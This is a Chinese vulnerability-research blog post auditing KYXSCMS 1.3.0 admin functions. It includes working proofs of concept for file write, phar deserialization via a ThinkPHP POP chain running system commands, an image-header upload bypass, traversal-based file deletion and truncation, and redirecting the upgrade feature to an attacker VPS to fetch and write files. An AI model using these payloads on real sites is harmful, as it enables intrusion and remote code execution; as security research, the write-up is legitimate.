跟着Y4师傅学代码审计-KYXSCMS_1.3.0

文章发布时间:

最后更新时间:

写在前面

CNVD冲冲冲,这里跟着Y4师傅分析复现第二篇KYXSCMS,加油慢慢来

环境搭建

  • 伪静态配置

    1
    2
    3
    4
    5
    6
    7
    8
    <IfModule mod_rewrite.c>
    Options +FollowSymlinks -Multiviews
    RewriteEngine On

    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]
    </IfModule>

    伪静态是相对于真静态而言的,就是把一些asp,php等结尾url通过apche或nginx的重写规则,变成以html一类的静态页面形式。伪静态不是真正的静态,它和动态地址一样要读取数据库。伪静态最主要的作用就是利于seo,百度spider(百度蜘蛛)喜欢抓取静态页面,可容易使百度spider陷入死循环;并发量高的时候会加大服务器的压力,所以用的时候要注意

  • 坑点注意

    注意网站安装如果不在根目录的话需要额外配置子目录(我这里是没配出来,放弃了还是直接放在根目录吧)

    image-20221202002106026

    接着针对不同的功能支持,需要对应打开php扩展

    image-20221202003019086

    这里还有一个坑就是mysql驱动注意打开pdo配置选项

    还有一个坑就是设置session.save_path避免出现写到权限不够的地方(win)…

漏洞分析

任意文件写1

漏洞点位于模板的模块管理处

image-20221202100833595

任意点一个进行编辑,提交后回显,模板文件修改成功

image-20221202101149048

我们以此定位处理函数位置,全局关键词搜索;或者看模板当中文件引入的路径。

image-20221202101540175

定位至app\admin\controller\Template.php,获取用户输入的POST传参,并传入edit方法,跟入

image-20221202102215926

这里提取出data中的path值和content值,怀疑存在文件写入,跟进put

image-20221202103059672

sink点位于file_put_contents(),中间没有任何过滤

image-20221202103348397

测试正常情况下的传参

1
content=xxx&path=template/home/default_web/footer.html

首先可以修改任意文件内容

1
content=xxx&path=index.php

当然这样整个网站就没了

image-20221202123742678

image-20221202123732336

还有一个思路是刚才在源码中我们看到还有{include }文件包含操作,我们可以和这个文件写漏洞配合起来。

我们知道根目录存在一个robots.txt文件,写入恶意代码

1
content=<?php phpinfo(); ?>&path=robots.txt

然后修改包含文件

image-20221202124541667

image-20221202124938695

  • phar反序列化

    bfengj师傅提到这里还可以利用phar反序列化,不过要搞清楚上传文件路径名。还是刚才的函数,查看dirname()

    返回 path 的父目录。如果在 path 中没有斜线,则返回一个点(’.‘),表示当前目录。否则返回的是把 path 中结尾的 /component(最后一个斜线以及后面部分)去掉之后的字符串

    触发点应该是在mkdir()处,由于dirname会去掉最后一个斜线及后面的部分,所以我们可以多加一层路径来绕过 image-20221202231036654

    首先写一个恶意的phar文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php
    class test
    {
    function __destruct()
    {
    system('whoami');
    }
    }

    $a = new test();
    $tttang = new Phar('evil.phar', 0);
    $tttang->startBuffering();
    $tttang->setMetadata($a);
    $tttang->setStub("<?php __HALT_COMPILER(); ?>");
    $tttang->addFromString("test.txt", "hacked by RacerZ!");
    $tttang->stopBuffering();

    然后上传恶意文件,记得在最开头添加图片文件头绕过格式检测,回显路径/uploads\/config\/20221202\/6de0863ab8b9e1ab612f660d98ba4457.png

    image-20221202231812656

    然后利用包含漏洞,使用phar伪协议

    1
    path=phar://./uploads/config/20221202/6de0863ab8b9e1ab612f660d98ba4457.png/123&content=1

    确实识别到了phar,不过不知这个错误是怎么回事

    image-20221202235843451

    哦哦哦我傻了,咋可能用自己的类来实现反序列化,这里需要依靠thinkphp存在反序列化POP链

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    <?php
    namespace think\process\pipes {
    class Windows
    {
    private $files;
    public function __construct($files)
    {
    $this->files = [$files];
    }
    }
    }

    namespace think\model\concern {
    trait Conversion
    {
    }

    trait Attribute
    {
    private $data;
    private $withAttr = ["lin" => "system"];

    public function get()
    {
    $this->data = ["lin" => "whoami"];
    }
    }
    }

    namespace think {
    abstract class Model
    {
    use model\concern\Attribute;
    use model\concern\Conversion;
    }
    }

    namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
    public function __construct()
    {
    $this->get();
    }
    }
    }

    namespace {

    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);


    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    }

    后面就成了

    image-20221203000738226

  • phar 反序列化2

    其实就是再找找还有什么文件读写点

    还是刚才的Template.php文件,看看get传参的逻辑,这里会获取一个参数path,传入file_info方法

    image-20221203001034322

    进一步跟进File::read($path)

    image-20221203001132826

    继续跟进get,看到这里也存在一个读函数操作,并且一路上没有过滤很简单的get传参

    image-20221203001218828

    1
    ?path=phar://./uploads/config/20221203/3b9697cca522c894290550257f35ed3d.png

    image-20221203001731345

  • phar反序列化3

    位于install()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public function install($model=null){
    $Upgrade=model('upgrade');
    if($model=='insert'){
    $return=$Upgrade->insert_install($this->request->param('id'));
    }else{
    $return=$Upgrade->install();
    }
    if($return==true){
    return $this->success('安装完成!','');
    }else{
    $this->error($Upgrade->getError(),'');
    }
    }

    如果model变量值为insert的话就会调用insert_install方法。其中里面upcotent和之前一样

    image-20221203115159021

    因此得到的upArray变量可控,调用install_file方法,可以看到和上面一样,只需构造suffix,stored_file_name即可

    image-20221203115452973

    1
    {"0":{"suffix":"del", "stored_file_name":"phar://xxx"}}
  • phar 反序列化4

    接着刚才的继续,其实这里利用的就是远程文件包含了(可能会存在限制),通过stored_file_name字段包含文件,针对文件中的内容,如果满足suffix条件的话就可以直接调用到unlink函数,这又是移除phar反序列化可利用的地方

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    $upCode=file_get_contents($value['stored_file_name']);
    $upCode = str_replace("\r", "\n", $upCode);
    $filePath=explode("\n",$upCode);
    foreach ($filePath as $v){
    $v = trim($v);
    if(empty($v)) continue;
    if($value['suffix']==='del'){
    @unlink($v);
    }elseif ($value['suffix']==='sql') {
    $prefix=Config::get('database.prefix');
    $upSqlCode = str_replace("`ky_", "`{$prefix}", $v);
    try{
    Db::execute($upSqlCode);
    }catch(\Exception $e){
    $this->error='执行sql错误代码:'.$e->getMessage();
    return false;
    }
    }
    }
    1
    2
    {"0":{"suffix":"del", "stored_file_name":"http://vps/exploit.txt"}}
    exploit.txt: phar://xxx
  • phar 反序列化5

    漏洞点位于Upload.phpsublevel_upload()方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    public function sublevel_upload(){
    if($this->request->isPost()){
    if($this->request->post('status') == 'chunkCheck'){
    return $this->chunkCheck();
    }elseif($this->request->post('status') == 'chunksMerge'){
    if($this->request->post('name')){
    if($file = $this->chunksMerge($this->request->post('name'),$this->request->post('chunks'),$this->request->post('ext'),$this->request->post('md5'))){
    $file['code']=1;
    return json($file);
    }
    }
    return json(['code'=>0]);
    }else{
    $file = $this->request->file('file');
    $info = $file->validate(['ext'=>'txt,html,zip,josn,mp3,wma,wav,amr,mp4','type'=>'text/plain,text/html,application/zip,application/json,audio/mpeg,audio/x-ms-wma,audio/x-wav,audio/amr,video/mp4'])->move(config('web.upload_path').$this->request->param('path').'/'.$this->request->post('uniqueFileName'),$this->request->post('chunk',0),true,false);
    if($info){
    return json(['code'=>1,'msg'=>'上传成功!','path'=>substr(config('web.upload_path'),1).$this->request->param('path').'/'.$this->request->post('uniqueFileName').'/'.str_replace('\\','/',$info->getSaveName())]);
    } else {
    return json(['code'=>0,'msg'=>$file->getError()]);
    }
    }
    }
    }

    跟进chunkCheck方法,其中upload_path也是通过数据库中可以读取到,后面的拼接参数均可控,所以target我们是可控的。因此可以利用file_exists()进行phar反序列化

    image-20221203121534341

    • 测试

      首先修改数据库中的配置项upload_path

      1
      update {pre}config set value='phar://' where id=88

      然后拼接参数即可

      1
      2
      # phar://./uploads/config/20221203/3b9697cca522c894290550257f35ed3d.png
      status=chunkCheck&path=./uploads/config&name=20221203&chunkIndex=3b9697cca522c894290550257f35ed3d.png

      这里记得清楚一下缓存

      image-20221203144225845

      getshell

      image-20221203144258296

  • phar 反序列化6

    还是接着上一个地方,这次根据status值进入chunkMerge方法

    1
    2
    3
    4
    5
    6
    elseif($this->request->post('status') == 'chunksMerge'){
    if($this->request->post('name')){
    if($file = $this->chunksMerge($this->request->post('name'),$this->request->post('chunks'),$this->request->post('ext'),$this->request->post('md5'))){
    $file['code']=1;
    return json($file);
    }

    可以看到传递的参数$this->request->post('name'),$this->request->post('chunks'),$this->request->post('ext'),$this->request->post('md5')同样均可控

    scandir也可以进行phar反序列化,参数可控(注意设置一下chunks参数,不然&&的惰性会直接不会执行后面的判断语句)

    image-20221203145357227

    1
    2
    phar://./uploads/config/20221203/3b9697cca522c894290550257f35ed3d.png
    status=chunksMerge&path=./uploads/config&name=20221203/3b9697cca522c894290550257f35ed3d.png&chunks=1

    image-20221203151832798

文件上传

在管理首页发现文件上传功能,定位控制器

image-20221202125142086

定位至app\admin\controller\Upload.php

image-20221202125343380

查看pic()方法

1
2
3
4
5
6
7
8
9
public function pic(){
$file = $this->request->file('file');
$info = $file->validate(['ext'=>'jpg,jpeg,png,gif,webp,bmp','type'=>'image/jpeg,image/png,image/gif,image/webp,image/bmp'])->move(config('web.upload_path').$this->request->param('path'));
if($info){
$this->success('上传成功!','',['path'=>substr(config('web.upload_path'),1).$this->request->param('path').'/'.str_replace('\\','/',$info->getSaveName())]);
}else{
$this->error($file->getError());
}
}

接收file的上传文件参数,然后经过validate设置后端验证,前面为后缀,后面为MIME类型

image-20221202125950057

然后经过move方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public function move($path, $savename = true, $replace = true, $autoAppendExt = true)
{
// 文件上传失败,捕获错误代码
if (!empty($this->info['error'])) {
$this->error($this->info['error']);
return false;
}

// 检测合法性
if (!$this->isValid()) {
$this->error = 'upload illegal files';
return false;
}

// 验证上传
if (!$this->check()) {
return false;
}

$path = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
// 文件保存命名规则
$saveName = $this->buildSaveName($savename, $autoAppendExt);
$filename = $path . $saveName;

// 检测目录
if (false === $this->checkPath(dirname($filename))) {
return false;
}

/* 不覆盖同名文件 */
if (!$replace && is_file($filename)) {
$this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
return false;
}

/* 移动文件 */
if ($this->isTest) {
rename($this->filename, $filename);
} elseif (!move_uploaded_file($this->filename, $filename)) {
$this->error = 'upload write error';
return false;
}

// 返回 File对象实例
$file = new self($filename);
$file->setSaveName($saveName);
$file->setUploadInfo($this->info);

return $file;
}

首先,isValid方法一般正常上传文件就可以通过

然后看check

1
2
3
4
5
6
7
8
9
10
11
12
13
public function check($rule = [])
{
$rule = $rule ?: $this->validate;

if ((isset($rule['size']) && !$this->checkSize($rule['size']))
|| (isset($rule['type']) && !$this->checkMime($rule['type']))
|| (isset($rule['ext']) && !$this->checkExt($rule['ext']))
|| !$this->checkImg()) {
return false;
}

return true;
}

这个会依次检验文件大小、MIME类型、后缀,然后会检验文件格式

1
2
3
4
5
6
7
8
9
10
11
12
13
public function checkMime($mime)
{
if (is_string($mime)) {
$mime = explode(',', $mime);
}

if (!in_array(strtolower($this->getMime()), $mime)) {
$this->error = 'mimetype to upload is not allowed';
return false;
}

return true;
}

细节看下getMime()

1
2
3
4
5
6
public function getMime()
{
$finfo = finfo_open(FILEINFO_MIME_TYPE);

return finfo_file($finfo, $this->filename);
}

fino_open配合finfo_file将会回文件类型

看一下checkImg方法,还是先检验后缀名,然后调用getImageType进一步获取图片格式

1
2
3
4
5
6
7
8
9
10
11
12
public function checkImg()
{
$extension = strtolower(pathinfo($this->getInfo('name'), PATHINFO_EXTENSION));

/* 对图像文件进行严格检测 */
if (in_array($extension, ['gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf']) && !in_array($this->getImageType($this->filename), [1, 2, 3, 4, 6, 13])) {
$this->error = 'illegal image files';
return false;
}

return true;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 判断图像类型
protected function getImageType($image)
{
if (function_exists('exif_imagetype')) {
return exif_imagetype($image);
}

try {
$info = getimagesize($image);
return $info ? $info[2] : false;
} catch (\Exception $e) {
return false;
}
}

这里可以看到实际会调用exif_imagetype()函数,该函数只会检验文件的第一个字节

image-20221202132438223

所以我们可以利用最基本的魔术头或者图片马绕过

1
2
GIF89a
<?php phpinfo(); ?>

image-20221202133127634

配合实际测试,即可以看到上传文件的位置及名称

image-20221202134034031

结合上面的文件包含操作我们就可以利用达到RCE的效果

任意文件写2

位于application/admin/controller/Upgrade.phpupdate()方法

这里会调用模型层的updates方法,并返回输出json格式数据

image-20221203093251049

先跟入updates(),有个file_put_contents写函数,看看能否利用。先看看参数upArray获取的方法upContent()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function updates(){
$num=Request::get('num',0);
$upArray=$this->upContent();
$upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);
if(!$upCode){
$this->error="读取远程升级文件错误,请检测网络!";
return false;
}
$dir = dirname($upArray[$num]['stored_file_name']);
if(!is_dir($dir))
mkdir($dir,0755,true);
if(false === @file_put_contents($upArray[$num]['stored_file_name'],$upCode)){
$this->error="保存文件错误,请检测文件夹写入权限!";
return false;
}
return $num+1;
}

这里可以看到会先从缓存中获取update_list字符值,默认情况下肯定是没有的,那么就会从拼接url并发起请求,返回的内容经过json解包即为content值

image-20221203094711251

这里配置项web.official_url项来自数据库,因此可控。发起请求,我们设置为自己的VPS,返回内容可控,因此content可控(注意返回JSON格式的数据)

​ 回到updates函数,@file_put_contents($upArray[$num]['stored_file_name'],$upCode)是我们要利用的语句,其中$upArray[$num]['stored_file_name']可以构造,也就是文件名可以控制,然后看看upCode是否可控。后者来自$upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);,和之前同理,改到我们的VPS上去就行。

  • 测试

    首先在数据库中改掉web.official_url配置

    image-20221203095544462

    1
    2
    admin/tool/sqlexecute.html
    sql=update {pre}config set value = "http://43.140.198.45:81" where id = 92

    image-20221203095900699

    第一个url经过拼接就成了http://43.140.198.45:81/upgrade/updata/;第二个为http://43.140.198.45:81/xxx

    之后在VPS上构造一下回显

    image-20221203101528408

    之后访问

    1
    http://localhost/admin/upgrade/update

    很奇怪,我这里虽然数据库改了,获取到的url还是之前的不知道咋回事。。

    解决了,应该是有缓存的缘故,导致读配置直接从缓存读的

    image-20221203144638951

    image-20221203144654504

任意文件刪除

还是刚才的Template.php,其中del方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function del($id){
$map = ['id' => $id];
$name = Template::where($map)->column('name');
foreach ($name as $value) {
del_dir_file('./'.config('web.default_tpl').DIRECTORY_SEPARATOR.$value,true);
}
$result = Template::where($map)->delete();
if(false === $result){
$this->error=Template::getError();
return false;
}else{
return $result;
}
}

模型会自动对应数据表,模型类的命名规则是除去表前缀的数据表名称,采用驼峰法命名,并且首字母大写

这里首先会从数据库中根据id值,获取ky_template表中name字段的值

然后拼接传入del_dir_file方法,其代码如下。分析可知,这个path传值需要是一个目录,然后回去遍历该目录下的文件,如果仍存在目录就会递归调用,否则删除文件,当设置为true时,会把当前目录也删掉。由于path可控,所以我们只需要控制好id参数值,即可以删除任意文件夹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function del_dir_file($path, $delDir = FALSE) {
if(is_dir($path)){
$handle = opendir($path);
if ($handle) {
while (false !== ( $item = readdir($handle) )) {
if ($item != "." && $item != "..")
is_dir("$path/$item") ? del_dir_file("$path/$item", $delDir) : unlink("$path/$item");
}
closedir($handle);
if ($delDir)
return rmdir($path);
}else {
if (file_exists($path)) {
return unlink($path);
} else {
return FALSE;
}
}
}
}

该cms提供了与数据库交互的功能,因此我们可以先插入一条关于文件夹内容的条目

image-20221203003833330

image-20221203004123940

1
sql=insert into {pre}template values('2', '../../xx/', '2', '1', '2', '2', '0', '2', '0')

在根目录创建文件夹xx

image-20221203004618846

image-20221203004654187

任意文件清空

位于`application/admin/controller/Tool.phpsitemap_progress方法`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public function sitemap_progress($page=1){
$content='';
$page_num=$this->request->param('page_num');
$page_no=$this->request->param('page_no');
$type=$this->request->param('type'); <--
$filename='sitemap';
$map = ['status'=>1];
$novel=Db::name('novel')->field('id,update_time')->where($map)->order('update_time desc')->limit($page_num);
if($page_no){
$filename.='_'.$page;
$data=$novel->page($page);
$count=Db::name('novel')->where($map)->count('id');
$page_count=ceil($count/$page_num);
}else{
$page_count=1;
}
$data=$novel->select(); // 查询不存在返回空数组
foreach ($data as $k=>$v){
if($type=='xml'){
$content.='<url>'.PHP_EOL.'<loc>'.url("home/novel/index",["id"=>$v["id"]],true,true).'</loc>'.PHP_EOL.'<mobile:mobile type="pc,mobile" />'.PHP_EOL.'<priority>0.8</priority>'.PHP_EOL.'<lastmod>'.time_format($v["update_time"],'Y-m-d').'</lastmod>'.PHP_EOL.'<changefreq>daily</changefreq>'.PHP_EOL.'</url>';
}else{
$content.=url("home/novel/index",["id"=>$v["id"]],true,true).PHP_EOL;
}
}
if($type=='xml'){
$xml='<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:mobile="http://www.baidu.com/schemas/sitemap-mobile/1/">'.PHP_EOL;
$xml.=$content.PHP_EOL.'</urlset>';
$content=$xml;
}
$url=$this->request->domain().'/runtime/'.'repaste/'.$filename.'.'.$type;
$filename=Env::get('runtime_path').'repaste'.DIRECTORY_SEPARATOR.$filename.'.'.$type; <-
$content=File::put($filename,$content); <--
if($page_count<=$page){
return $this->success('生成完成',url('sitemap_progress',['page_no'=>$page_no,'page'=>$page,'page_num'=>$page_num,'type'=>$type,]),['complete'=>true,'page_count'=>$page_count,'page'=>$page,'filename'=>$url]);
}else{
return $this->success('生成进度',url('sitemap_progress',['page_no'=>$page_no,'page'=>$page+1,'page_num'=>$page_num,'type'=>$type,]),['complete'=>false,'page_count'=>$page_count,'page'=>$page+1,'filename'=>$url]);
}
}

经过分析可知data的内容只能来自数据库novel表,它经过$data=$novel->select(),过滤的条件为'status'=>1,因此一种思路是清空文件,也就是不让数据库中留有status=1的数据,这样就会出现content一直都不会被赋值,保持初始值''。同时对于文件名filename,其组成为Env::get('runtime_path').'repaste'.DIRECTORY_SEPARATOR.$filename.'.'.$type,虽然前面不可控,但是type可控可以利用目录穿越。这时候只需要一个文件写函数即可,关注File::put()

image-20221203010557901

测试时根目录创建一个test.php

image-20221203010757734

然后利用上述漏洞

1
2
Env::get('runtime_path').'repaste'.DIRECTORY_SEPARATOR.$filename.'.'.$type
?type=/../../../test.php

image-20221203011417647

参考链接

https://y4tacker.blog.csdn.net/article/details/115716192

https://forum.butian.net/share/1238

https://www.kancloud.cn/wt4027593/kyxscms

https://ego00.blog.csdn.net/article/details/117630617